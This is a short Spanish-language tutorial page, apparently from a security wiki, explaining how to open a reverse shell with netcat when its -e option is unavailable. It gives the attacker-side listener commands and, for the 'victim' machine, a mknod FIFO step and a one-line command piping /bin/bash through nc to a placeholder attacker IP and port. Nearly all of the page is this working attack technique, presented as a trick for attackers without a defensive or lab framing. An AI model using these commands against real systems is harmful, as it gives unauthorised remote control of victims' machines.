Volver |
Shell inversa
Crear una shell inversa con netcat sin la opción -e
El programa Netcat puede incluir o no la opción -e, la cual permite crear una shell inversa fácilmente. Sin embargo, sin esta opción también existe un truco para hacerla y es el siguiente:
Para crear una shell inversa usando netcat sin la opción -e, se debe hacer lo siguiente:
1. Se debe levantar un servidor controlado por el atacante.
$ nc -l 3500
También se puede agregar la opción -k que permite que el servidor se mantenga a pesar que la conexión cliente se cierre.
$ nc -l -k 3500
2. Luego, en la máquina víctima se debe crear un archivo fifo:
$ mknod pipe p
3. Finalmente, ejecutamos la conexión con el atacante:
$ /bin/bash < pipe | nc [ip_atacante] [puerto_atacante] > pipe
En este artículo participaron:
No hay autores registrados